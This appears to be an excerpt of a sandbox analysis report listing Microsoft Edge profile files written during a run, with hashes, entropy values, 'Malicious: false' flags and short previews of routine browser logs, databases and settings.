Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.186524662258509
Encrypted:	false
SSDEEP:	12:XE6v4YebvqBQFUt8EEfCX/+EQk5LYebvqBvJ:P4YebvZg8nawOLYebvk
MD5:	1093A0AE4F7EF85BE8864045BF4FBACE
SHA1:	0BFF15D4377F50E36C7DA0AD7D0A4068E6CD7ADC
SHA-256:	C90A91077FE0F1A93887CFEA50F52E99EBE90AD82761B2C0B592D2942BD549F2
SHA-512:	778F811B10C2F6D78168F6C1BD2ED2A0762E650FC8E394D63F511A09A8797A41BD6714DF857E084C532EFA07B461818E9E64482F4B365179FFC900438F4CC7CA
Malicious:	false
Preview:	2024/11/05-04:13:40.808 1cc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/05-04:13:40.809 1cc0 Recovering log #3.2024/11/05-04:13:40.812 1cc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.186524662258509
Encrypted:	false
SSDEEP:	12:XE6v4YebvqBQFUt8EEfCX/+EQk5LYebvqBvJ:P4YebvZg8nawOLYebvk
MD5:	1093A0AE4F7EF85BE8864045BF4FBACE
SHA1:	0BFF15D4377F50E36C7DA0AD7D0A4068E6CD7ADC
SHA-256:	C90A91077FE0F1A93887CFEA50F52E99EBE90AD82761B2C0B592D2942BD549F2
SHA-512:	778F811B10C2F6D78168F6C1BD2ED2A0762E650FC8E394D63F511A09A8797A41BD6714DF857E084C532EFA07B461818E9E64482F4B365179FFC900438F4CC7CA
Malicious:	false
Preview:	2024/11/05-04:13:40.808 1cc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/05-04:13:40.809 1cc0 Recovering log #3.2024/11/05-04:13:40.812 1cc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9dcfaf35-d1ac-4bfe-abc1-171b737eb788.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3e5ae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c93c3cb9-f912-4b43-9431-a164d2580fde.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fca0df41-9102-4596-b4f3-c34b1bbceb00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.207543443757069
Encrypted:	false
SSDEEP:	12:Yx9+v4YebvqBZFUt8rJ/+K39V5LYebvqBaJ:YxK4Yebvyg8rx3VLYebvL
MD5:	1E895C43C32D5CD0978961E76B766CEB
SHA1:	FC7903B38EA2DC86722F0F2A58DC5B6092D1174D
SHA-256:	8C7E1B947C311A86333CB7457106A828ADEEA8A76F68ECEA3BF2ADC58C5F98AE
SHA-512:	DB2EBB92036E46D4BAFDEA9D9382BCB76400B8CF6B52D7C8A7FC2C3243207DE15C8628E92465714B4E883C73011D4FD4D2CAF7B8ECE7477A86DC32D3A5A3694C
Malicious:	false
Preview:	2024/11/05-04:13:59.094 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/05-04:13:59.096 1d0c Recovering log #3.2024/11/05-04:13:59.101 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.207543443757069
Encrypted:	false
SSDEEP:	12:Yx9+v4YebvqBZFUt8rJ/+K39V5LYebvqBaJ:YxK4Yebvyg8rx3VLYebvL
MD5:	1E895C43C32D5CD0978961E76B766CEB
SHA1:	FC7903B38EA2DC86722F0F2A58DC5B6092D1174D
SHA-256:	8C7E1B947C311A86333CB7457106A828ADEEA8A76F68ECEA3BF2ADC58C5F98AE
SHA-512:	DB2EBB92036E46D4BAFDEA9D9382BCB76400B8CF6B52D7C8A7FC2C3243207DE15C8628E92465714B4E883C73011D4FD4D2CAF7B8ECE7477A86DC32D3A5A3694C
Malicious:	false
Preview:	2024/11/05-04:13:59.094 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/05-04:13:59.096 1d0c Recovering log #3.2024/11/05-04:13:59.101 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.15596785301747
Encrypted:	false
SSDEEP:	6:H6dNFZyq2P923oH+TcwtpIFUt8Y6dC1Zmw+Y6dJFYCjRkwO923oH+Tcwta/WLJ:vv4YebmFUt8K1/+VF5LYebaUJ
MD5:	D5897BE30FF04DF1603FBEA9489D719D
SHA1:	607A847C44FEB6F4B7EB1C46827317E52CC5109C
SHA-256:	792DF203FD5D4B58CE97B042B30BE7FA29EB39DBB9F5D838863E15C91242E766
SHA-512:	7C4750CAE843A8496B1FBA6B7626BB0F70D227E5304B4CCFFA2E1EBAF980D8F475C73009811E71E5EB372EF08C6DD2710AE56340A741BAE72F23BEF6C69DACBD
Malicious:	false
Preview:	2024/11/05-04:13:39.311 1dc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/05-04:13:39.312 1dc0 Recovering log #3.2024/11/05-04:13:39.315 1dc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.15596785301747
Encrypted:	false
SSDEEP:	6:H6dNFZyq2P923oH+TcwtpIFUt8Y6dC1Zmw+Y6dJFYCjRkwO923oH+Tcwta/WLJ:vv4YebmFUt8K1/+VF5LYebaUJ
MD5:	D5897BE30FF04DF1603FBEA9489D719D
SHA1:	607A847C44FEB6F4B7EB1C46827317E52CC5109C
SHA-256:	792DF203FD5D4B58CE97B042B30BE7FA29EB39DBB9F5D838863E15C91242E766
SHA-512:	7C4750CAE843A8496B1FBA6B7626BB0F70D227E5304B4CCFFA2E1EBAF980D8F475C73009811E71E5EB372EF08C6DD2710AE56340A741BAE72F23BEF6C69DACBD
Malicious:	false
Preview:	2024/11/05-04:13:39.311 1dc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/05-04:13:39.312 1dc0 Recovering log #3.2024/11/05-04:13:39.315 1dc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265323083793182
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMjSAELyKOMq+8yC8F/YfU5m+OlTLVumo:Bq+n0Jj9ELyKOMq+8y9/Own
MD5:	50DF72395DEBAF7D5FEB36AD44B04FEF
SHA1:	4623DDD2D629F795BD45578077E4E9FA1A8EFD1A
SHA-256:	93702C06525164BF441AFF36FE806FAF9A10FE1D1C6BEAAC69376965349CAB73
SHA-512:	B1FFF0CEA9C2EE8BA78E312B87759FE34022D652CFC3141BBB2A2F4734267D7478EFD8CED55B027799FDBEDF017FBD9956037961D3E8D61ACBD77630488C7BB3
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46706542060482104
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0uKJ2:v7doKsKuKZKlZNmu46yjx0U
MD5:	64E444D5FA538528E41B2D769A653F8E
SHA1:	2F5EE128D1B930A55C7D31CAD730D9E48EEE5A31
SHA-256:	93D5AF4A4475BB29A24C8C58A7B06CF656848B3CCE4BFC13AF14A32A5945192D
SHA-512:	AD4CC2FDDF2A2251EFD6D022F7E134636672870493825115DDED4A9DF84E3F44F86AEA2B56B353CD6AB562163FEB929CA1E47090AC205D2163580537BC5DCF5E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bc398669-c6d6-4559-9a14-89e607fba964.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561236688803876
Encrypted:	false
SSDEEP:	768:29QQIrz7pLGLpRHWPpRfme8F1+UoAYDCx9Tuqh0VfUC9xbog/OVFuwXhlMrwxxV+:29QQIrlcpRHWPpRfmeu1jawuwxllxxV+
MD5:	524A99947E6221CD9999B29DF88260DB
SHA1:	FD92B233C0733EADDC2570F34DD250183B064217
SHA-256:	E416DD83987E6969B57354E63DA1886B644FF7D37600B050B5DAD22189A7AA0F
SHA-512:	6A850AD29AD6C5D5B1AA95349221B207E604C2F775592A1D6923C89A84313C1C4A0D34D682E7973651CC429FC97401A9B71FFA64E5CB70749A2BB7DA3CB45798
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375271619306814","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375271619306814","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e0077892-260d-478f-abde-80c9373b5fd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fea2bfc9-521e-4600-8e6f-eadf811d374b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566024920326779
Encrypted:	false
SSDEEP:	768:29hKI5z7pLGLpyHWPpRf/e8F1+UoAYDCx9Tuqh0VfUC9xbog/OV7uVXhaMrw4bpc:29hKI5lcpyHWPpRf/eu1jaWuVxal4Otf
MD5:	E362D17043575AD4EF005D92D3F9130C
SHA1:	68C7208251227F319DE093308AA6283816DEFEB9
SHA-256:	086B2DE3FEE454047851313CD171D3E1B485A45DD05A43C7B787E216ABF0DF4C
SHA-512:	7BE62B77CDED46923035B47382158999C38ADD57EE908A3C7245A4B626819BBF893EF9AC0D41B6F9C08089C6E7548FFB5B67C792BBBC75C7405181C4D9412E8E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375271619306814","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375271619306814","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ffa81dc7-e5ad-4ab4-b429-c1c8696fafd3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9714
Entropy (8bit):	5.111003960037811
Encrypted:	false
SSDEEP:	192:stPkdpKsmgsZihUk4Fd8QbV+F4VQA66WZaFIMYBPbYJ:stPQKsmgfhybGuQx6WZaTY+
MD5:	D9C6E9D829FF5FC6C230DA9453C096B6
SHA1:	EA379B5F5B7426752128F27E4F3B5455E688E5B5
SHA-256:	2FBC290B0DFDC0911BC4508A5514BB3714EFAC5C94C003C2E45358947F436B48
SHA-512:	F681B810F48EB453713E46158EBB307CB47BA788EB249C34CCC0E651FF6DFD03C234CF23C683501D1BADD481F636614A2206C006DD5D3D2C18776C21BF76FB6C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10595616081117316
Encrypted:	false
SSDEEP:	12:Jnt4NRCnt4NzpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntWRCntWFoPnnnnnnnnnnnnvHj
MD5:	6C4A83CF43CB1C0FBB2BA3E2CCD5ECD1
SHA1:	5632987233DED765A3E639B6371D239F37DCF55B
SHA-256:	C8C71AEFB4E16C54441117FFF8B1B7A2CB8565E1337E2BCD9740A353601A9A99
SHA-512:	BA6143BFCFA8DB3A5AD66FEF5BA902242870A2BD2FC2B4569BF86FC02FCC279D04ECBD484CBA6BE61C5654C16DF3619A8EA2D74F618241584CEFCC92C8AA4752
Malicious:	false
Preview:	..-.............Q.........g"T..?.4..}...ud...s..-.............Q.........g"T..?.4..}...ud...s........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9333029064131183
Encrypted:	false
SSDEEP:	384:G2w+pODHghkTKSkl74kkQ+kyKypWiyIyhIydxyTi:D8DF6mm/
MD5:	3F17C1A169D9ABBB70FAD615DD91DA95
SHA1:	94AEB40E2F4104FB3BCC80D7FF539A90C7E09A6C
SHA-256:	614F8635BCD98D92D7D9389EB056D126335B65D138C87AF37ED5907F3BC783FB
SHA-512:	650FB79D07BE9BCBF9B889EB5C846F1CEBDBC1544013FFAA07D8AD482078A2EF1DC2C330FAE59807669BCB308C2075A7C89A0667655F5F5890CBC3351D3235C3
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

